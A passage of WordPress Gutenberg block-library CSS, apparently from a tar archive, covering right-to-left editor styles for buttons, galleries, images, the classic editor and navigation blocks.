a{color:#00e;color:var(--wp--style--color--link,#00e)}.has-small-font-size{font-size:.8125em}.has-normal-font-size,.has-regular-font-size{font-size:1em}.has-medium-font-size{font-size:1.25em}.has-large-font-size{font-size:2.25em}.has-huge-font-size,.has-larger-font-size{font-size:2.625em}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}css/dist/block-library/editor-rtl.css000064400000166611151202620300013634 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ #start-resizable-editor-section { display: none; } ul.wp-block-archives { padding-right: 2.5em; } .wp-block-audio { margin-right: 0; margin-left: 0; } .edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container { padding-right: 0; padding-left: 0; } .edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow { display: block; } .edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender { display: none; } .wp-block[data-align=center] > .wp-block-button { text-align: center; margin-right: auto; margin-left: auto; } .wp-block[data-align=right] > .wp-block-button { text-align: right; } .wp-block-button { position: relative; cursor: text; } .wp-block-button:not(.has-text-color):not(.is-style-outline) [data-rich-text-placeholder]::after { color: #fff; } .wp-block-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } .wp-block-button[data-rich-text-placeholder]::after { opacity: 0.8; } .wp-block-button__inline-link { color: #757575; height: 0; overflow: hidden; max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } @media (min-width: 782px) { .wp-block-button__inline-link { max-width: 260px; } .wp-block-button__inline-link-input__suggestions { max-width: 260px; } } @media (min-width: 960px) { .wp-block-button__inline-link { max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } } .is-selected .wp-block-button__inline-link { height: auto; overflow: visible; margin-top: 16px; } .wp-button-label__width .components-button-group { display: block; } .wp-button-label__width .components-base-control__field { margin-bottom: 12px; } div[data-type="core/button"] { display: table; } .wp-block > .wp-block-buttons { display: flex; flex-wrap: wrap; } .wp-block-buttons { /* stylelint-disable indentation */ } .wp-block-buttons > .wp-block { margin-right: 0; margin-top: 0.5em; margin-left: 0.5em; } .wp-block-buttons > .block-list-appender { display: inline-flex; align-items: center; } .wp-block-buttons.is-vertical > .block-list-appender .block-list-appender__toggle { justify-content: flex-start; } .wp-block-buttons > .wp-block-button:focus { box-shadow: none; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] { /* stylelint-enable indentation */ margin-right: auto; margin-left: auto; margin-top: 0; width: 100%; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] .wp-block-button { margin-bottom: 0; } .wp-block[data-align=center] > .wp-block-buttons { align-items: center; justify-content: center; } .wp-block[data-align=right] > .wp-block-buttons { justify-content: flex-end; } .wp-block-categories ul { padding-right: 2.5em; } .wp-block-categories ul ul { margin-top: 6px; } .wp-block-columns .wp-block { max-width: none; margin-right: 0; margin-left: 0; } @media (min-width: 600px) { .editor-styles-wrapper .block-editor-block-list__block.wp-block-column:nth-child(even) { margin-right: 32px; } } @media (min-width: 782px) { .editor-styles-wrapper .block-editor-block-list__block.wp-block-column:not(:first-child) { margin-right: 32px; } } .block-editor-block-list__block.wp-block-column.wp-block-column { margin-top: 0; margin-bottom: 0; } .wp-block-cover { height: 100%; } .wp-block-cover.is-placeholder { min-height: auto !important; padding: 0 !important; } .wp-block-cover.components-placeholder h2 { color: inherit; } .wp-block-cover.is-transient::before { background-color: #fff; opacity: 0.3; } .wp-block-cover .components-spinner { position: absolute; z-index: 1; top: 50%; right: 50%; transform: translate(50%, -50%); margin: 0; } .wp-block-cover .block-editor-block-list__layout { width: 100%; } .wp-block-cover .wp-block-cover__inner-container { text-align: right; margin-right: 0; margin-left: 0; } .wp-block-cover .wp-block-cover__placeholder-background-options { width: 100%; } [data-align=left] > .wp-block-cover, [data-align=right] > .wp-block-cover { max-width: 420px; width: 100%; } .block-library-cover__reset-button { margin-right: auto; } .block-library-cover__resize-container { position: absolute !important; top: 0; right: 0; left: 0; bottom: 0; } .block-library-cover__resize-container:not(.is-resizing) { height: auto !important; } .wp-block-embed { margin-right: 0; margin-left: 0; clear: both; } .wp-block-embed.is-loading { display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 1em; min-height: 200px; text-align: center; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; } .wp-block-embed.is-loading p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .wp-block-embed .components-placeholder__error { word-break: break-word; } .wp-block-embed .components-placeholder__learn-more { margin-top: 1em; } .block-library-embed__interactive-overlay { position: absolute; top: 0; right: 0; left: 0; bottom: 0; opacity: 0; } .wp-block[data-align=left] > .wp-block-embed, .wp-block[data-align=right] > .wp-block-embed { max-width: 360px; width: 100%; } .wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper, .wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper { min-width: 280px; } .wp-block-file { display: flex; justify-content: space-between; align-items: center; margin-bottom: 0; } .wp-block-file .wp-block-file__content-wrapper { flex-grow: 1; } .wp-block-file .wp-block-file__textlink { display: inline-block; min-width: 1em; } .wp-block-file .wp-block-file__textlink:focus { box-shadow: none; } .wp-block-file .wp-block-file__button-richtext-wrapper { display: inline-block; margin-right: 0.75em; } .wp-block-freeform.block-library-rich-text__tinymce { height: auto; /* Allow height of embed iframes to be calculated properly */ /* Remove blue highlighting of selected images in WebKit */ /* Image captions */ /* WP Views */ } .wp-block-freeform.block-library-rich-text__tinymce p, .wp-block-freeform.block-library-rich-text__tinymce li { line-height: 1.8; } .wp-block-freeform.block-library-rich-text__tinymce ul, .wp-block-freeform.block-library-rich-text__tinymce ol { padding-right: 2.5em; margin-right: 0; } .wp-block-freeform.block-library-rich-text__tinymce blockquote { margin: 0; box-shadow: inset 0 0 0 0 #ddd; border-right: 4px solid #000; padding-right: 1em; } .wp-block-freeform.block-library-rich-text__tinymce pre { white-space: pre-wrap; font-family: Menlo, Consolas, monaco, monospace; font-size: 15px; color: #1e1e1e; } .wp-block-freeform.block-library-rich-text__tinymce > *:first-child { margin-top: 0; } .wp-block-freeform.block-library-rich-text__tinymce > *:last-child { margin-bottom: 0; } .wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce a { color: var(--wp-admin-theme-color); } .wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected] { padding: 0 2px; margin: 0 -2px; border-radius: 2px; box-shadow: 0 0 0 1px #e5f5fa; background: #e5f5fa; } .wp-block-freeform.block-library-rich-text__tinymce code { padding: 2px; border-radius: 2px; color: #1e1e1e; background: #f0f0f0; font-family: Menlo, Consolas, monaco, monospace; font-size: 14px; } .wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected] { background: #ddd; } .wp-block-freeform.block-library-rich-text__tinymce .alignright { float: right; margin: 0.5em 0 0.5em 1em; } .wp-block-freeform.block-library-rich-text__tinymce .alignleft { float: left; margin: 0.5em 1em 0.5em 0; } .wp-block-freeform.block-library-rich-text__tinymce .aligncenter { display: block; margin-right: auto; margin-left: auto; } .wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag { width: 96%; height: 20px; display: block; margin: 15px auto; outline: 0; cursor: default; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC); background-size: 1900px 20px; background-repeat: no-repeat; background-position: center; } .wp-block-freeform.block-library-rich-text__tinymce img::selection { background-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce div.mceTemp { -ms-user-select: element; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption { margin: 0; /* dl browser reset */ max-width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img { display: block; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption, .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption * { -webkit-user-drag: none; } .wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd { padding-top: 0.5em; margin: 0; /* browser dd reset */ } .wp-block-freeform.block-library-rich-text__tinymce .wpview { width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */ position: relative; clear: both; margin-bottom: 16px; border: 1px solid transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview iframe { display: block; max-width: 100%; background: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim { display: none; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder { border: 1px dashed #ddd; padding: 10px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error { border: 1px solid #ddd; padding: 1em 0; margin: 0; word-wrap: break-word; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p { margin: 0; text-align: center; } .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder, .wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error { border-color: transparent; } .wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons { display: block; margin: 0 auto; width: 32px; height: 32px; font-size: 32px; } .wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery::after { content: ""; display: table; clear: both; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus { outline: none; } .wp-block-freeform.block-library-rich-text__tinymce .gallery a { cursor: default; } .wp-block-freeform.block-library-rich-text__tinymce .gallery { margin: auto -6px; padding: 6px 0; line-height: 1; overflow-x: hidden; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item { float: right; margin: 0; text-align: center; padding: 6px; box-sizing: border-box; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption, .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon { margin: 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption { font-size: 13px; margin: 4px 0; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item { width: 100%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item { width: 50%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item { width: 33.3333333333%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item { width: 25%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item { width: 20%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item { width: 16.6666666667%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item { width: 14.2857142857%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item { width: 12.5%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item { width: 11.1111111111%; } .wp-block-freeform.block-library-rich-text__tinymce .gallery img { max-width: 100%; height: auto; border: none; padding: 0; } div[data-type="core/freeform"]::before { transition: border-color 0.1s linear, box-shadow 0.1s linear; border: 1px solid #ddd; outline: 1px solid transparent; } @media (prefers-reduced-motion: reduce) { div[data-type="core/freeform"]::before { transition-duration: 0s; } } div[data-type="core/freeform"].is-selected::before { border-color: #1e1e1e; } div[data-type="core/freeform"] .block-editor-block-contextual-toolbar + div { margin-top: 0; padding-top: 0; } div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce::after { content: ""; display: table; clear: both; } .mce-toolbar-grp .mce-btn.mce-active button, .mce-toolbar-grp .mce-btn.mce-active:hover button, .mce-toolbar-grp .mce-btn.mce-active i, .mce-toolbar-grp .mce-btn.mce-active:hover i { color: #1e1e1e; } .mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last { margin-left: 0; margin-right: 8px; } .mce-toolbar-grp .mce-btn i { font-style: normal; } .block-library-classic__toolbar { display: none; width: auto; margin: 0; position: -webkit-sticky; position: sticky; z-index: 31; top: 0; border: 1px solid #ddd; border-bottom: none; border-radius: 2px; margin-bottom: 8px; padding: 0; } div[data-type="core/freeform"].is-selected .block-library-classic__toolbar, div[data-type="core/freeform"].is-typing .block-library-classic__toolbar { display: block; border-color: #1e1e1e; } .block-library-classic__toolbar .mce-tinymce { box-shadow: none; } @media (min-width: 600px) { .block-library-classic__toolbar { padding: 0; } } .block-library-classic__toolbar:empty { display: block; background: #f5f5f5; border-bottom: 1px solid #e2e4e7; } .block-library-classic__toolbar:empty::before { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; content: attr(data-placeholder); color: #555d66; line-height: 37px; padding: 14px; } .block-library-classic__toolbar div.mce-toolbar-grp { border-bottom: 1px solid #1e1e1e; } .block-library-classic__toolbar .mce-tinymce-inline, .block-library-classic__toolbar .mce-tinymce-inline > div, .block-library-classic__toolbar div.mce-toolbar-grp, .block-library-classic__toolbar div.mce-toolbar-grp > div, .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar .mce-menubar > div { height: auto !important; width: 100% !important; } .block-library-classic__toolbar .mce-container-body.mce-abs-layout { overflow: visible; } .block-library-classic__toolbar .mce-menubar, .block-library-classic__toolbar div.mce-toolbar-grp { position: static; } .block-library-classic__toolbar .mce-toolbar-grp > div { padding: 1px 3px; } .block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) { display: none; } .block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar { display: block; } .wp-block-gallery li { list-style-type: none; } .wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label { display: none; } .wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button { margin-bottom: 0; } figure.wp-block-gallery { display: block; margin: 0; } .blocks-gallery-grid.blocks-gallery-grid { padding-right: 0; margin-right: 0; margin-bottom: 0; } .blocks-gallery-item figure:not(.is-selected):focus, .blocks-gallery-item img:focus { outline: none; } .blocks-gallery-item figure.is-selected::before { box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content: ""; outline: 2px solid transparent; position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 1; pointer-events: none; } .blocks-gallery-item figure.is-selected figcaption { z-index: 2; } .blocks-gallery-item figure.is-transient img { opacity: 0.3; } .blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu { display: inline-flex; } .blocks-gallery-item .block-editor-media-placeholder { margin: 0; height: 100%; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label { display: flex; } .block-library-gallery-item__inline-menu { display: none; position: absolute; top: -2px; margin: 8px; z-index: 20; transition: box-shadow 0.2s ease-out; border-radius: 2px; background: #fff; border: 1px solid #1e1e1e; } @media (prefers-reduced-motion: reduce) { .block-library-gallery-item__inline-menu { transition-duration: 0s; } } .block-library-gallery-item__inline-menu:hover { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu, .columns-8 .block-library-gallery-item__inline-menu { padding: 2px; } } .block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus) { border: none; box-shadow: none; } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon, .columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon { padding: 0; width: inherit; height: inherit; } } .block-library-gallery-item__inline-menu.is-left { right: -2px; } .block-library-gallery-item__inline-menu.is-right { left: -2px; } .blocks-gallery-item .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } /** * Group: All Alignment Settings */ .wp-block-group .block-editor-block-list__insertion-point { right: 0; left: 0; } .wp-block-group > .wp-block-group__inner-container > [data-align=full] { margin-right: auto; margin-left: auto; } .wp-block-group.has-background > .wp-block-group__inner-container > [data-align=full] { margin-right: -30px; width: calc(100% + 60px); } /** * Group: Full Width Alignment */ [data-align=full] .wp-block-group > .wp-block-group__inner-container > .wp-block { padding-right: 14px; padding-left: 14px; } @media (min-width: 600px) { [data-align=full] .wp-block-group > .wp-block-group__inner-container > .wp-block { padding-right: 0; padding-left: 0; } } [data-align=full] .wp-block-group > .wp-block-group__inner-container > [data-align=full] { padding-left: 0; padding-right: 0; right: 0; width: 100%; max-width: none; } [data-align=full] .wp-block-group.has-background > .wp-block-group__inner-container > [data-align=full] { width: calc(100% + 60px); } [data-type="core/group"].is-selected .block-list-appender { margin-right: 0; margin-left: 0; } [data-type="core/group"].is-selected .has-background .block-list-appender { margin-top: 18px; margin-bottom: 18px; } .block-library-heading-level-dropdown .components-popover__content { min-width: 230px; } .block-library-heading-level-dropdown .components-popover__content > div { padding: 0; } .block-library-heading-level-toolbar { border: none; } .block-library-html__edit { margin-bottom: 28px; } .block-library-html__edit .block-library-html__preview-overlay { position: absolute; width: 100%; height: 100%; top: 0; right: 0; } .block-library-html__edit .block-editor-plain-text { font-family: Menlo, Consolas, monaco, monospace; color: #1e1e1e; padding: 0.8em 1em; border: 1px solid #ddd; border-radius: 4px; max-height: 250px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; } @media (min-width: 600px) { .block-library-html__edit .block-editor-plain-text { font-size: 13px; } } .block-library-html__edit .block-editor-plain-text:focus { box-shadow: none; } figure.wp-block-image:not(.wp-block) { margin: 0; } .wp-block-image { position: relative; } .wp-block-image .is-applying img, .wp-block-image.is-transient img { opacity: 0.3; } .wp-block-image figcaption img { display: inline; } .wp-block-image .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } .wp-block-image:not(.is-style-rounded) > div { border-radius: inherit; } .wp-block-image .components-resizable-box__container { display: inline-block; } .wp-block-image .components-resizable-box__container img { display: block; width: inherit; height: inherit; } .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { position: absolute; right: 0; left: 0; margin: -1px 0; } @media (min-width: 600px) { .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal { margin: -1px; } } [data-align=wide] > .wp-block-image img, [data-align=full] > .wp-block-image img { width: 100%; } .wp-block[data-align=left] > .wp-block-image, .wp-block[data-align=center] > .wp-block-image, .wp-block[data-align=right] > .wp-block-image { display: table; } .wp-block[data-align=left] > .wp-block-image > figcaption, .wp-block[data-align=center] > .wp-block-image > figcaption, .wp-block[data-align=right] > .wp-block-image > figcaption { display: table-caption; caption-side: bottom; } .wp-block[data-align=left] > .wp-block-image { margin-left: 1em; margin-right: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=right] > .wp-block-image { margin-right: 1em; margin-left: 0; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block[data-align=center] > .wp-block-image { margin-right: auto; margin-left: auto; text-align: center; } .wp-block-image__crop-area { position: relative; max-width: 100%; width: 100%; } .wp-block-image__crop-icon { padding: 0 8px; min-width: 48px; display: flex; justify-content: center; align-items: center; } .wp-block-image__crop-icon svg { fill: currentColor; } .wp-block-image__zoom .components-popover__content { overflow: visible; min-width: 260px; } .wp-block-image__zoom .components-range-control { flex: 1; } .wp-block-image__zoom .components-base-control__field { display: flex; margin-bottom: 0; flex-direction: column; align-items: flex-start; } .wp-block-image__aspect-ratio { height: 46px; margin-bottom: -8px; display: flex; align-items: center; } .wp-block-image__aspect-ratio .components-button { width: 36px; padding-right: 0; padding-left: 0; } .wp-block-latest-comments.has-avatars .avatar { margin-left: 10px; } .wp-block-latest-comments__comment-excerpt p { font-size: 14px; line-height: 1.8; margin: 5px 0 20px; padding-top: 0; } .wp-block-latest-comments.has-avatars .wp-block-latest-comments__comment { min-height: 36px; } .wp-block-latest-posts { padding-right: 2.5em; } .wp-block-latest-posts.is-grid { padding-right: 0; } .wp-block-latest-posts li a > div { display: inline; } .edit-post-visual-editor .wp-block-latest-posts.is-grid li { margin-bottom: 20px; } ol.has-background.has-background, ul.has-background.has-background { padding: 1.25em 2.375em; } .wp-block-media-text .__resizable_base__ { -ms-grid-column: 1; -ms-grid-column-span: 2; grid-column: 1/span 2; -ms-grid-row: 2; grid-row: 2; } .wp-block-media-text .editor-media-container__resizer { width: 100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer { height: 100% !important; } .wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block { max-width: unset; } .block-editor-block-list__block[data-type="core/more"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-more { display: block; text-align: center; white-space: nowrap; } .wp-block-more input[type=text] { position: relative; font-size: 13px; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border: none; box-shadow: none; white-space: nowrap; text-align: center; margin: 0; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; max-width: 100%; } .wp-block-more input[type=text]:focus { box-shadow: none; } .wp-block-more::before { content: ""; position: absolute; top: calc(50%); right: 0; left: 0; border-top: 3px dashed #ccc; } .editor-styles-wrapper .wp-block-navigation ul, .editor-styles-wrapper .wp-block-navigation ol { margin-bottom: 0; margin-right: 0; padding-right: 0; } .editor-styles-wrapper .wp-block-navigation .block-editor-block-list__block { margin: 0; } .wp-block-navigation .block-list-appender { display: inline-flex; -ms-grid-row-align: center; align-self: center; width: 24px; height: 24px; } .wp-block-navigation.is-vertical .block-list-appender { margin: 8px; } .wp-block-navigation__inserter-content { padding: 16px; } .wp-block-navigation__container { min-height: 44px; } .wp-block-navigation__container.is-parent-of-selected-block { visibility: visible; opacity: 1; } .has-child > .wp-block-navigation__container, .has-child:hover > .wp-block-navigation__container { opacity: 0; visibility: hidden; } .has-child.is-selected > .wp-block-navigation__container, .has-child.has-child-selected > .wp-block-navigation__container, .is-dragging-components-draggable .has-child.is-dragging-within > .wp-block-navigation__container { opacity: 1; visibility: visible; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container { opacity: 1; visibility: hidden; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container .block-editor-block-draggable-chip-wrapper { visibility: visible; } /** * Colors Selector component */ .block-library-colors-selector { width: auto; } .block-library-colors-selector .block-library-colors-selector__toggle { display: block; margin: 0 auto; padding: 3px; width: auto; } .block-library-colors-selector .block-library-colors-selector__icon-container { height: 30px; position: relative; margin: 0 auto; padding: 3px; display: flex; align-items: center; border-radius: 4px; } .block-library-colors-selector .block-library-colors-selector__state-selection { margin-right: auto; margin-left: auto; border-radius: 11px; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); width: 22px; min-width: 22px; height: 22px; min-height: 22px; line-height: 20px; padding: 2px; } .block-library-colors-selector .block-library-colors-selector__state-selection > svg { min-width: auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg, .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg path { color: inherit; } .block-library-colors-selector__popover .color-palette-controller-container { padding: 16px; } .block-library-colors-selector__popover .components-base-control__label { height: 20px; line-height: 20px; } .block-library-colors-selector__popover .component-color-indicator { float: left; margin-top: 2px; } .block-library-colors-selector__popover .components-panel__body-title { display: none; } .is-editing > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .wp-block-navigation-placeholder { min-height: 44px; } .wp-block-navigation-placeholder .components-spinner { margin-top: -4px; margin-right: 4px; vertical-align: middle; margin-left: 7px; } .wp-block-navigation-placeholder .components-custom-select-control__button { height: auto; padding: 0.375rem 1.5rem 0.375rem 0.75rem; min-width: 13.75rem; } .wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option { position: relative; margin-top: 20px; } .wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option::before { content: ""; position: absolute; top: -10px; right: 25px; left: 25px; height: 15px; border-top: 1px solid #757575; } .wp-block-navigation-placeholder .components-custom-select-control__label { margin-bottom: 1rem; font-size: 13px; font-weight: normal; } .wp-block-navigation-placeholder .components-custom-select-control__menu { margin: 0; max-height: none; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; } .wp-block-navigation .block-editor-button-block-appender { justify-content: flex-start; } /** * Setup state */ .wp-block-navigation-placeholder__preview { position: absolute; top: 0; left: 0; bottom: 0; right: 0; display: flex; flex-direction: row; align-items: center; transition: all 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .wp-block-navigation-placeholder__preview { transition-duration: 0s; } } .wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link { border-radius: 2px; background: currentColor; min-width: 72px; height: 16px; margin: 12px 0 12px 24px; } .wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link, .wp-block-navigation-placeholder__preview svg { opacity: 0.3; } .is-selected .wp-block-navigation-placeholder__preview { opacity: 0.2; } .wp-block-navigation-placeholder__controls { padding: 4px 8px; border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; flex-direction: row; align-items: center; display: none; position: relative; z-index: 1; } .is-selected .wp-block-navigation-placeholder__controls { display: flex; } .is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions { flex-direction: column; } .is-selected.is-vertical .wp-block-navigation-placeholder__controls { display: inline-flex; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon { margin-left: 12px; height: 36px; } .is-vertical .wp-block-navigation-placeholder, .is-vertical .wp-block-navigation-placeholder__preview, .is-vertical .wp-block-navigation-placeholder__controls { min-height: 156px; } .is-vertical .wp-block-navigation-placeholder__preview, .is-vertical .wp-block-navigation-placeholder__controls { flex-direction: column; align-items: flex-start; } .wp-block-navigation-placeholder__actions { display: flex; font-size: 13px; } .wp-block-navigation-placeholder__actions .components-button.components-dropdown-menu__toggle.has-icon { padding: 6px 12px; display: flex; flex-direction: row-reverse; } .wp-block-navigation-link__field .components-text-control__input.components-text-control__input, .wp-block-navigation-link__container { border-radius: 0; line-height: 36px; min-height: 36px; } /** * Adjust Navigation Item. */ .wp-block-navigation-link .block-editor-block-list__layout { display: block; } .wp-block-navigation-link.is-editing, .wp-block-navigation-link.is-selected { min-width: 20px; } .wp-block-navigation-link .block-editor-rich-text__editable.is-selected:not(.keep-placeholder-on-focus):not(:focus)[data-rich-text-placeholder]::after { display: inline-block; } .wp-block-navigation-link .block-list-appender { margin: 16px; margin-right: 10px; margin-top: 10px; } .wp-block-navigation-link__separator { margin: 8px 0 8px; border-top: 1px solid #ddd; } .components-popover.wp-block-navigation-link__dropdown-content { margin-top: -1px; margin-right: -4px; } .wp-block-navigation-link__dropdown-content .components-popover__content > div { padding: 8px 0; } .wp-block-navigation .block-editor-block-list__block[data-type="core/navigation-link"] > 